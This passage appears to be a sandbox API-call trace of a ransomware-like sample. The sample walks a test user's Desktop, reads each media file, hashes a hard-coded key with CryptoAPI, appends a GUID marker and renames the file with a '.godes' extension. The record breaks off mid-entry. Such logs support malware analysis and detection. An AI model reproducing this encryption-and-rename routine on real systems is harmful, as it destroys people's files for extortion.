RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.933] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.933] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.933] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.934] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.934] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.934] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.934] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.934] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.934] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.934] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.934] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.934] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.934] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.934] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.934] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.934] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.934] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.934] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.934] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.934] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.934] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0112.934] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.934] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.934] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.934] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.934] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.934] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.934] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0112.934] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0112.934] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.934] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.934] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0112.934] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0112.934] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x3284968 [0112.935] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.935] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c568 [0112.935] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.935] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.935] PathFindFileNameW (pszPath="") returned="" [0112.935] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9d34a350, ftLastAccessTime.dwHighDateTime=0x1d53993, ftLastWriteTime.dwLowDateTime=0x9d34a350, ftLastWriteTime.dwHighDateTime=0x1d53993, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.935] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9d34a350, ftLastAccessTime.dwHighDateTime=0x1d53993, ftLastWriteTime.dwLowDateTime=0x9d34a350, ftLastWriteTime.dwHighDateTime=0x1d53993, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.935] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50377f00, ftCreationTime.dwHighDateTime=0x1d4ccdd, ftLastAccessTime.dwLowDateTime=0x439ca1a0, ftLastAccessTime.dwHighDateTime=0x1d4cee8, ftLastWriteTime.dwLowDateTime=0x439ca1a0, ftLastWriteTime.dwHighDateTime=0x1d4cee8, nFileSizeHigh=0x0, nFileSizeLow=0x3287, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-args_Zs.swf", cAlternateFileName="")) returned 1 [0112.935] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-args_Zs.swf") returned=".swf" [0112.935] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-args_Zs.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\-args_zs.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0112.935] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=12935) returned 1 [0112.935] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0112.937] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x3261, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.937] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.939] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x3287, lpOverlapped=0x0) returned 1 [0112.940] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0112.940] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0112.940] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0112.940] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0112.940] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0112.940] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.940] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0112.941] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0112.941] GetLastError () returned 0x0 [0112.941] SetLastError (dwErrCode=0x0) [0112.941] GetLastError () returned 0x0 [0112.941] SetLastError (dwErrCode=0x0) [0112.941] GetLastError () returned 0x0 [0112.941] SetLastError (dwErrCode=0x0) [0112.941] GetLastError () returned 0x0 [0112.941] SetLastError (dwErrCode=0x0) [0112.941] GetLastError () returned 0x0 [0112.941] SetLastError (dwErrCode=0x0) [0112.941] GetLastError () returned 0x0 [0112.941] SetLastError (dwErrCode=0x0) [0112.941] GetLastError () returned 0x0 [0112.941] SetLastError (dwErrCode=0x0) [0112.941] GetLastError () returned 0x0 [0112.941] SetLastError (dwErrCode=0x0) [0112.941] GetLastError () returned 0x0 [0112.941] SetLastError (dwErrCode=0x0) [0112.941] GetLastError () returned 0x0 [0112.941] SetLastError (dwErrCode=0x0) [0112.941] GetLastError () returned 0x0 [0112.941] SetLastError (dwErrCode=0x0) [0112.941] GetLastError () returned 0x0 [0112.941] SetLastError (dwErrCode=0x0) [0112.941] GetLastError () returned 0x0 [0112.941] SetLastError (dwErrCode=0x0) [0112.941] GetLastError () returned 0x0 [0112.941] SetLastError (dwErrCode=0x0) [0112.942] GetLastError () returned 0x0 [0112.942] SetLastError (dwErrCode=0x0) [0112.942] GetLastError () returned 0x0 [0112.942] SetLastError (dwErrCode=0x0) [0112.942] CryptDestroyHash (hHash=0x32a6888) returned 1 [0112.942] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0112.943] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x3287, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.943] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.943] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.943] CloseHandle (hObject=0x624) returned 1 [0112.945] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-args_Zs.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\-args_zs.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-args_Zs.swf.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\-args_zs.swf.godes")) returned 1 [0112.946] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20a90c00, ftCreationTime.dwHighDateTime=0x1d4c877, ftLastAccessTime.dwLowDateTime=0x4c899ab0, ftLastAccessTime.dwHighDateTime=0x1d4d29a, ftLastWriteTime.dwLowDateTime=0x4c899ab0, ftLastWriteTime.dwHighDateTime=0x1d4d29a, nFileSizeHigh=0x0, nFileSizeLow=0x4d89, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="6E-An34Wc.pps", cAlternateFileName="6E-AN3~1.PPS")) returned 1 [0112.947] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6E-An34Wc.pps") returned=".pps" [0112.947] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6E-An34Wc.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\6e-an34wc.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0112.947] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=19849) returned 1 [0112.947] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0112.948] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x4d63, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.949] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.950] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x4d89, lpOverlapped=0x0) returned 1 [0112.951] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0112.951] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0112.951] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0112.951] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0112.951] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0112.951] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.952] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0112.952] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0112.952] GetLastError () returned 0x0 [0112.952] SetLastError (dwErrCode=0x0) [0112.952] GetLastError () returned 0x0 [0112.952] SetLastError (dwErrCode=0x0) [0112.952] GetLastError () returned 0x0 [0112.952] SetLastError (dwErrCode=0x0) [0112.952] GetLastError () returned 0x0 [0112.952] SetLastError (dwErrCode=0x0) [0112.952] GetLastError () returned 0x0 [0112.952] SetLastError (dwErrCode=0x0) [0112.952] GetLastError () returned 0x0 [0112.952] SetLastError (dwErrCode=0x0) [0112.952] GetLastError () returned 0x0 [0112.952] SetLastError (dwErrCode=0x0) [0112.952] GetLastError () returned 0x0 [0112.952] SetLastError (dwErrCode=0x0) [0112.952] GetLastError () returned 0x0 [0112.952] SetLastError (dwErrCode=0x0) [0112.952] GetLastError () returned 0x0 [0112.952] SetLastError (dwErrCode=0x0) [0112.952] GetLastError () returned 0x0 [0112.952] SetLastError (dwErrCode=0x0) [0112.952] GetLastError () returned 0x0 [0112.952] SetLastError (dwErrCode=0x0) [0112.952] GetLastError () returned 0x0 [0112.952] SetLastError (dwErrCode=0x0) [0112.952] GetLastError () returned 0x0 [0112.953] SetLastError (dwErrCode=0x0) [0112.953] GetLastError () returned 0x0 [0112.953] SetLastError (dwErrCode=0x0) [0112.953] GetLastError () returned 0x0 [0112.953] SetLastError (dwErrCode=0x0) [0112.953] CryptDestroyHash (hHash=0x32a6888) returned 1 [0112.953] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0112.953] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x4d89, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.953] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.953] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.953] CloseHandle (hObject=0x624) returned 1 [0112.954] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6E-An34Wc.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\6e-an34wc.pps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6E-An34Wc.pps.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\6e-an34wc.pps.godes")) returned 1 [0112.956] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a7ad7a0, ftCreationTime.dwHighDateTime=0x1d4c863, ftLastAccessTime.dwLowDateTime=0xc063a280, ftLastAccessTime.dwHighDateTime=0x1d4c5b3, ftLastWriteTime.dwLowDateTime=0xc063a280, ftLastWriteTime.dwHighDateTime=0x1d4c5b3, nFileSizeHigh=0x0, nFileSizeLow=0xcab3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="6SGcgdd.wav", cAlternateFileName="")) returned 1 [0112.956] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6SGcgdd.wav") returned=".wav" [0112.956] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6SGcgdd.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\6sgcgdd.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0112.956] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=51891) returned 1 [0112.956] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0112.958] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xca8d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.958] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.960] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0xcab3, lpOverlapped=0x0) returned 1 [0112.960] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0112.960] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0112.960] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0112.960] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0112.961] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0112.961] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.961] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0112.961] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0112.961] GetLastError () returned 0x0 [0112.961] SetLastError (dwErrCode=0x0) [0112.961] GetLastError () returned 0x0 [0112.961] SetLastError (dwErrCode=0x0) [0112.961] GetLastError () returned 0x0 [0112.961] SetLastError (dwErrCode=0x0) [0112.961] GetLastError () returned 0x0 [0112.962] SetLastError (dwErrCode=0x0) [0112.962] GetLastError () returned 0x0 [0112.962] SetLastError (dwErrCode=0x0) [0112.962] GetLastError () returned 0x0 [0112.962] SetLastError (dwErrCode=0x0) [0112.962] GetLastError () returned 0x0 [0112.962] SetLastError (dwErrCode=0x0) [0112.962] GetLastError () returned 0x0 [0112.962] SetLastError (dwErrCode=0x0) [0112.962] GetLastError () returned 0x0 [0112.962] SetLastError (dwErrCode=0x0) [0112.962] GetLastError () returned 0x0 [0112.962] SetLastError (dwErrCode=0x0) [0112.962] GetLastError () returned 0x0 [0112.962] SetLastError (dwErrCode=0x0) [0112.962] GetLastError () returned 0x0 [0112.962] SetLastError (dwErrCode=0x0) [0112.962] GetLastError () returned 0x0 [0112.962] SetLastError (dwErrCode=0x0) [0112.962] GetLastError () returned 0x0 [0112.962] SetLastError (dwErrCode=0x0) [0112.962] GetLastError () returned 0x0 [0112.962] SetLastError (dwErrCode=0x0) [0112.962] GetLastError () returned 0x0 [0112.962] SetLastError (dwErrCode=0x0) [0112.962] CryptDestroyHash (hHash=0x32a6888) returned 1 [0112.962] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0112.963] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xcab3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.963] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.963] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.963] CloseHandle (hObject=0x624) returned 1 [0112.964] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6SGcgdd.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\6sgcgdd.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6SGcgdd.wav.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\6sgcgdd.wav.godes")) returned 1 [0112.965] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4873ee0, ftCreationTime.dwHighDateTime=0x1d4cd30, ftLastAccessTime.dwLowDateTime=0x45330360, ftLastAccessTime.dwHighDateTime=0x1d4c5c4, ftLastWriteTime.dwLowDateTime=0x45330360, ftLastWriteTime.dwHighDateTime=0x1d4c5c4, nFileSizeHigh=0x0, nFileSizeLow=0xeaf5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7SFmX9n.mp3", cAlternateFileName="")) returned 1 [0112.965] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7SFmX9n.mp3") returned=".mp3" [0112.965] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7SFmX9n.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7sfmx9n.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0112.965] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=60149) returned 1 [0112.965] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0112.967] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xeacf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.967] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.971] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0xeaf5, lpOverlapped=0x0) returned 1 [0112.972] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0112.972] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0112.972] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0112.972] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0112.973] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0112.973] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.973] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0112.973] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0112.973] GetLastError () returned 0x0 [0112.973] SetLastError (dwErrCode=0x0) [0112.973] GetLastError () returned 0x0 [0112.973] SetLastError (dwErrCode=0x0) [0112.973] GetLastError () returned 0x0 [0112.973] SetLastError (dwErrCode=0x0) [0112.973] GetLastError () returned 0x0 [0112.973] SetLastError (dwErrCode=0x0) [0112.973] GetLastError () returned 0x0 [0112.973] SetLastError (dwErrCode=0x0) [0112.973] GetLastError () returned 0x0 [0112.974] SetLastError (dwErrCode=0x0) [0112.974] GetLastError () returned 0x0 [0112.974] SetLastError (dwErrCode=0x0) [0112.974] GetLastError () returned 0x0 [0112.974] SetLastError (dwErrCode=0x0) [0112.974] GetLastError () returned 0x0 [0112.974] CryptDestroyHash (hHash=0x32a6888) returned 1 [0112.974] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0112.974] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xeaf5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.974] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.974] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.974] CloseHandle (hObject=0x624) returned 1 [0112.975] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7SFmX9n.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7sfmx9n.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7SFmX9n.mp3.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7sfmx9n.mp3.godes")) returned 1 [0112.977] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff7997b0, ftCreationTime.dwHighDateTime=0x1d4ca20, ftLastAccessTime.dwLowDateTime=0xb950acf0, ftLastAccessTime.dwHighDateTime=0x1d4c65c, ftLastWriteTime.dwLowDateTime=0xb950acf0, ftLastWriteTime.dwHighDateTime=0x1d4c65c, nFileSizeHigh=0x0, nFileSizeLow=0x1a79, 